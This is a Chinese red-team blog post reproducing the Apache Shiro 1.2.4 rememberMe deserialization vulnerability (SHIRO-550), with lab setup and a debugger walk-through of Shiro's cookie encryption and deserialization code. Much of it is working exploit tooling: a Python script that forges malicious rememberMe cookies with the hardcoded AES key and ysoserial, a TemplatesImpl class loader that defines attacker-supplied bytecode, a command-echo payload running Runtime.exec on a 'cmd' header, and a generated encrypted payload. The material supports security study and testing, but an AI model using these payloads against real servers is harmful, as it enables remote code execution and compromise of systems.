zoukankan      html  css  js  c++  java
  • shiro550反序列化复现

    前言

    ​ 最近部门有红队内部培训,分为了PHP审计和java审计方向。PHP还勉强可以听懂一些,但是java就比较吃力了,无论是找路由还是找gadget链、找敏感漏洞lib包都是很不熟练超级难顶,还有就是多种中间件内存马和多种中间件正向内存代理(项目中很多java项目都是不出网),就更加听不懂了。

    ​ 这一段时间无论是攻防演练还是红队评估遇到的shiro漏洞还是挺多的,于是就有了这篇文章。

    环境介绍

    tomcat7 + idea+jdk1.8.0_101

    项目地址

    https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

    环境搭建以及漏洞复现

    下载好环境,配置好我们的将项目的shiro-shiro-root-1.2.4samplesweb导入idea,并设置如下pom.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <!--
      ~ Licensed to the Apache Software Foundation (ASF) under one
      ~ or more contributor license agreements.  See the NOTICE file
      ~ distributed with this work for additional information
      ~ regarding copyright ownership.  The ASF licenses this file
      ~ to you under the Apache License, Version 2.0 (the
      ~ "License"); you may not use this file except in compliance
      ~ with the License.  You may obtain a copy of the License at
      ~
      ~     http://www.apache.org/licenses/LICENSE-2.0
      ~
      ~ Unless required by applicable law or agreed to in writing,
      ~ software distributed under the License is distributed on an
      ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
      ~ KIND, either express or implied.  See the License for the
      ~ specific language governing permissions and limitations
      ~ under the License.
      -->
    <!--suppress osmorcNonOsgiMavenDependency -->
    <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
    
        <parent>
            <groupId>org.apache.shiro.samples</groupId>
            <artifactId>shiro-samples</artifactId>
            <version>1.2.4</version>
            <relativePath>../pom.xml</relativePath>
        </parent>
    
        <modelVersion>4.0.0</modelVersion>
        <artifactId>samples-web</artifactId>
        <name>Apache Shiro :: Samples :: Web</name>
        <packaging>war</packaging>
    
        <build>
            <plugins>
                <plugin>
                    <artifactId>maven-surefire-plugin</artifactId>
                    <configuration>
                        <forkMode>never</forkMode>
                    </configuration>
                </plugin>
                <plugin>
                    <groupId>org.mortbay.jetty</groupId>
                    <artifactId>maven-jetty-plugin</artifactId>
                    <version>${jetty.version}</version>
                    <configuration>
                        <contextPath>/</contextPath>
                        <connectors>
                            <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                                <port>9080</port>
                                <maxIdleTime>60000</maxIdleTime>
                            </connector>
                        </connectors>
                        <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                            <filename>./target/yyyy_mm_dd.request.log</filename>
                            <retainDays>90</retainDays>
                            <append>true</append>
                            <extended>false</extended>
                            <logTimeZone>GMT</logTimeZone>
                        </requestLog>
                    </configuration>
                </plugin>
            </plugins>
        </build>
    
        <dependencies>
            <dependency>
                <groupId>javax.servlet</groupId>
                <artifactId>jstl</artifactId>
                <version>1.2</version>
                <scope>runtime</scope>
            </dependency>
            <dependency>
                <groupId>javax.servlet</groupId>
                <artifactId>servlet-api</artifactId>
    <!--            <scope>provided</scope> -->
            </dependency>
            <dependency>
                <groupId>org.slf4j</groupId>
                <artifactId>slf4j-log4j12</artifactId>
                <scope>runtime</scope>
            </dependency>
            <dependency>
                <groupId>log4j</groupId>
                <artifactId>log4j</artifactId>
                <scope>runtime</scope>
            </dependency>
            <dependency>
                <groupId>net.sourceforge.htmlunit</groupId>
                <artifactId>htmlunit</artifactId>
                <version>2.6</version>
    <!--            <scope>test</scope>-->
            </dependency>
            <dependency>
                <groupId>org.apache.shiro</groupId>
                <artifactId>shiro-core</artifactId>
            </dependency>
            <dependency>
                <groupId>org.apache.shiro</groupId>
                <artifactId>shiro-web</artifactId>
            </dependency>
            <dependency>
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>jetty</artifactId>
                <version>${jetty.version}</version>
                <scope>test</scope>
            </dependency>
            <dependency>
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>jsp-2.1-jetty</artifactId>
                <version>${jetty.version}</version>
                <scope>test</scope>
            </dependency>
            <dependency>
                <groupId>org.slf4j</groupId>
                <artifactId>jcl-over-slf4j</artifactId>
                <scope>runtime</scope>
            </dependency>
        </dependencies>
    
    </project>
    

    配置tomcat7,
    image
    image

    搭建完成

    image
    输入账号密码,勾选Remerber me选项。进行抓包,可以看到环境搭建成功!

    image

    加密的cookie脚本

    import base64
    import uuid
    import subprocess
    from Crypto.Cipher import AES
    
    
    def rememberme(command):
        # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
        # popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections10', command],stdout=subprocess.PIPE)
        popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections10', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    

    运行该脚本,可以得到加密后的rememberMe

    image
    复制该cookie,可成功执行代码
    image

    漏洞分析

    漏洞原理

    shiro会对用户传入的cookie进行解密并进行java原生反序列化。其解密cookies的密钥是默认的,因此不受信任的用户可以发送任意数据触发恶意的反序列化。需要特别说明的是shiro这个洞只是一个反序列化触发点实际能否利用要看环境是否存在gadget。

    ​ 虽然是原生反序列化但是shiro重新的实现了resolveClass,这间接造成了最后加载类的classloader变成了ParallelWebappClassLoader(在tomcat上是这样),而ParallelWebappClassLoader实现有buggy造成不能反序列化非原生的数组类型(关于这点的具体分析可以看这篇强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考),这就造成大名鼎鼎的cc链某些gadget中的transformers数组无法被反序列化(by李三)

    大概漏洞过程就是:

    • 序列化、加密过程

    • 解密、反序列化过程

    ​ 官网中有大哥也提出了issuse

    默认情况下,shiro使用CookieRememberMeManager。这将对用户身份进行序列化,加密和编码,以供以后检索。因此,当它接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:
    
    检索RememberMe cookie的值
    Base 64解码
    使用AES解密
    使用Java序列化(ObjectInputStream)反序列化。
    但是,默认加密密钥是硬编码的,这意味着有权访问源代码的任何人都知道默认加密密钥是什么。因此,攻击者可以创建一个恶意对象,对其进行序列化,编码,然后将其作为cookie发送。然后Shiro将解码并反序列化,这意味着您的恶意对象现在位于服务器上。通过精心构造对象,可以使它们运行一些恶意代码
    
    • 检索RememberMe cookie 的值

    • Base 64解码

    • 使用AES解密

    • 使用Java序列化(ObjectInputStream)反序列化

      解密AES需要密钥还有mode(加解密算法)和 IV(初始化向量),而由官网得知RememberMe在CookieRememberMeManager实现

    大概看了一下在CookieRememberMeManager类中不存在加密算法,在父类AbstractRememberMeManager中
    image
    org.apache.shiro.mgt.AbstractRememberMeManager类中发现默认的Key是硬编码在其中的,这也是该反序列得以利用的关键,如果再确定mode和IV则可以构造RememberMe的值,然后让其反序列化
    image
    该类主要是将key进行base64解密为byte数组,然后构造函数来调用setCipherKey方法进行初始化该值

    public abstract class AbstractRememberMeManager implements RememberMeManager {
        private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        private byte[] encryptionCipherKey;
        private byte[] decryptionCipherKey;
    
        public AbstractRememberMeManager() {
            this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
        }
        public void setCipherKey(byte[] cipherKey) {
            this.setEncryptionCipherKey(cipherKey);
            this.setDecryptionCipherKey(cipherKey);
        }
    

    序列化、加密过程

    在AbstractRememberMeManager#onSuccessfulLogin打下断点,开启debug模式,勾选rememberMe进行登录
    image
    其中第85行主要是针对是否勾选了rememberMe经行判断
    image
    如果为true,就进行AbstractRememberMeManager#rememberIdentity,94行调用了该类的getIdentityToRemember,主要是用来获取当前用户为root
    image
    image
    然后95行在进入rememberIdentity方法
    image
    103行主要是将用户信息转换成bytes数组,可以跟踪一下
    image
    108行经过serialize函数处理就变成了bety数组处理,可以跟一下org.apache.shiro.io.DefaultSerializer#serialize
    image
    采用的是java原生的序列化方法writeObject,而最后序列化的数据也就是代表用户身份的SimplePrincipalCollection类的实例,该类实现的接口的父辈接口继承了Serializable接口
    image
    接着来看加密过程,
    image
    110行调用了encrypt()方法,跟一下
    image
    154行调用了getCipherService方法,得到一个用来加密的CipherService对象,发现返回的是当前类的private CipherService cipherService = new AesCipherService();并且在AesCipherService父类完成CipherService对象的初始化,可以看到此时确定了AES加密,模式为CBC,128位,填充方式为PKCS5Padding
    image
    接着在156行,cipherService.encrypt方法第一个参数是序列化的数组,第二个参数是硬编码的key,跟入cipherService.encrypt
    image
    148行可以看到iv是随机生成的16为byte,153又调用了encrypt方法,参数分别是序列化数据,key,IV和bool值为true,跟入

    orgapacheshirocryptoJcaCipherService.class#encrypt

    image
    在162行将16字节的IV放入了output,接着放入密文数据

    后面一直return,回到了orgapacheshiromgtAbstractRememberMeManager#convertPrincipalsToBytes,
    image
    加密过程就结束了。

    反序列化、解密过程

    对RememberMe的解密依然是在AbstractRememberMeManager里,调用的是getRememberedPrincipals方法

    这个方法主要做了实现了三个功能:

    • 获取cookie中的RememberMe值进行base64_decode
    • 将base64_decode获取的byte数组进行aesdecode
    • 从bytes数组中还原ByteArrayInputStream,调用readObject还原principals对象

    在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity 370行打下断点,在burp中发送只有rememberMe的请求
    image
    370行跟入this.getRememberedSerializedIdentity

    org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity;主要是获取cookie并base64编码
    image
    回到getRememberedPrincipals并跟入this.convertBytesToPrincipals
    image
    org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals;主要进行AES解密;其中140行主要就进行反序列操作
    image
    org.apache.shiro.io.DefaultSerializer#deserialize
    image
    用ByteArrayInputStream将对象反序列化,就是漏洞的触发点

    分析gadget

    默认shiro的commons-collections版本为3.2.1,我们利用3.2.1的payload,结果报如下错误:
    image
    Shiro在调用readObject时,使用了ClassResolvingObjectInputStream来处理数据:这个类重写了resolverClass方法
    image
    在原生的JDK中,直接用Class.forName来获取Class,

    java.io.ObjectInputStream#resolveClass
    image
    在Shiro中,使用了ClassUtils.forName获取Class,我们可以尝试跟进一下该方法:

    image
    是采用了ClassLoader.loadClass方法来加载类,loadClass()则是可以自己指定一个不同的ClassLoader,shiro中的ClasssLoader是怎么来的?是通过Thread.currentThread().getContextClassLoader();获取的,也就是WebappClassLoader

    总结下原因是:

    1. Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。

    shiro通用回显

    在执行反序列化的时候执行自定义的java代码,借助TemplatesImpl , 编写ysoserial的扩展。

    package ysoserial;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    public class MyClassLoader extends AbstractTranslet {
       static{
           try{
               javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
               java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
               r.setAccessible(true);
               org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
               javax.servlet.http.HttpSession session = request.getSession();
    
               String classData=request.getParameter("classData");
               System.out.println(classData);
    
               byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
               java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
               defineClassMethod.setAccessible(true);
               Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
               cc.newInstance().equals(new Object[]{request,response,session});
          }catch(Exception e){
               e.printStackTrace();
          }
      }
       public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
      }
       public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
      }
    }
    
    

    ysoserial的Gadget.java加入代码

        public static <T> T createTemplatesImpl(Class c) throws Exception {
            Class<T> tplClass = null;
    
            if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
                tplClass = (Class<T>) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
            }else{
                tplClass = (Class<T>) TemplatesImpl.class;
            }
    
            final T templates = tplClass.newInstance();
            final byte[] classBytes = ClassFiles.classAsBytes(c);
    
            Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
                classBytes
            });
    
            Reflections.setFieldValue(templates, "_name", "Pwnr");
            return templates;
        }
    
    

    根据Gadget新增不同的文件,修改

            final Object templates = Gadgets.createTemplatesImpl(cmd);
    
            final Object templates = Gadgets.createTemplatesImpl(ysoserial.MyClassLoader.class);
    

    生成ClassLoader 命令回显POC

    java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1_ClassLoader "" > classload.ser   
     cat classload.ser|python shiro_encode.py                                                                                                                                ```
    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
    
    

    通用命令回显POC

    package aa;
    
    import java.io.PrintWriter;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Method;
    import java.util.HashSet;
    import java.util.Scanner;
    
    public class dfs_classloader {
    
        static HashSet<Object> h;
        static ClassLoader cl = Thread.currentThread().getContextClassLoader();
        static Class hsr;//HTTPServletRequest.class
        static Class hsp;//HTTPServletResponse.class
        static String cmd;
        static Object r;
        static Object p;
    
        //    static {
    //  r = null;
        //   p = null;
        // h =new HashSet<Object>();
        // F(Thread.currentThread(),0);
    //    }
        public dfs_classloader()
        //static
        {
            // System.out.println("start");
            r = null;
            p = null;
            h =new HashSet<Object>();
            try {
                hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
                hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
    
            F(Thread.currentThread(),0);
        }
    
        private static boolean i(Object obj){
            if(obj==null|| h.contains(obj)){
                return true;
            }
    
            h.add(obj);
            return false;
        }
        private static void p(Object o, int depth){
            if(depth > 52||(r !=null&& p !=null)){
                return;
            }
            if(!i(o)){
                if(r ==null&&hsr.isAssignableFrom(o.getClass())){
                    r = o;
                    //Tomcat特殊处理
                    try {
                        cmd = (String)hsr.getMethod("getHeader",new Class[]{String.class}).invoke(o,"cmd");
                        if(cmd==null) {
                            r = null;
                        }else{
                            System.out.println("find Request");
                            try {
                                Method getResponse = r.getClass().getMethod("getResponse");
                                p = getResponse.invoke(r);
                            } catch (Exception e) {
                                System.out.println("getResponse Error");
                                r=null;
    //                            e.printStackTrace();
                            }
                        }
                    } catch (IllegalAccessException e) {
                        e.printStackTrace();
                    } catch (InvocationTargetException e) {
                        e.printStackTrace();
                    } catch (NoSuchMethodException e) {
                        e.printStackTrace();
                    }
    
                }else if(p ==null&&hsp.isAssignableFrom(o.getClass())){
                    p =  o;
                }
                if(r !=null&& p !=null){
                    try {
                        PrintWriter pw =  (PrintWriter)hsp.getMethod("getWriter").invoke(p);
                        pw.println("~3b712de48137572f3849aabd5666a4e3~");
                        pw.println(new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\A").next());
                        pw.println("~3b712de48137572f3849aabd5666a4e3~");
    
                        pw.flush();
                        pw.close();
                        //p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\A").next());
                    }catch (Exception e){
                    }
                    return;
                }
    
                F(o,depth+1);
            }
        }
        private static void F(Object start, int depth){
    
            Class n=start.getClass();
            do{
                for (Field declaredField : n.getDeclaredFields()) {
                    declaredField.setAccessible(true);
                    Object o = null;
                    try{
                        o = declaredField.get(start);
    
                        if(!o.getClass().isArray()){
                            p(o,depth);
                        }else{
                            for (Object q : (Object[]) o) {
                                p(q, depth);
                            }
    
                        }
    
                    }catch (Exception e){
                    }
                }
    
            }while(
                    (n = n.getSuperclass())!=null
            );
        }
    }
    
    

    参考链接

    https://www.anquanke.com/post/id/192619#h2-4

    https://www.cnblogs.com/nice0e3/p/14183173.html

    https://xz.aliyun.com/t/7950

    https://xz.aliyun.com/t/8997#toc-0

    [http://redteam.today/2019/09/20/shiro 反序列化复现/](http://redteam.today/2019/09/20/shiro 反序列化复现/)

    https://blog.0kami.cn/

    https://l3yx.github.io/2020/03/21/Shiro-1-2-4-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#%E5%BA%8F%E5%88%97%E5%8C%96%E3%80%81%E5%8A%A0%E5%AF%86%E8%BF%87%E7%A8%8B

    https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

    [https://l3yx.github.io/2020/03/31/Java-Web代码执行漏洞回显总结/#获取Tomcat-Response](

  • 相关阅读:
    IntelliJ IDEA 14.03 java 中文文本处理中的编码格式设置
    应聘感悟
    STL string分析
    CUDA SDK VolumeRender 分析 (1)
    BSP
    CUDA SDK VolumeRender 分析 (3)
    CUDA SDK VolumeRender 分析 (2)
    Windows软件发布时遇到的一些问题
    Ten Commandments of Egoless Programming (转载)
    复习下光照知识
  • 原文地址:https://www.cnblogs.com/kuaile1314/p/14813791.html
Copyright © 2011-2022 走看看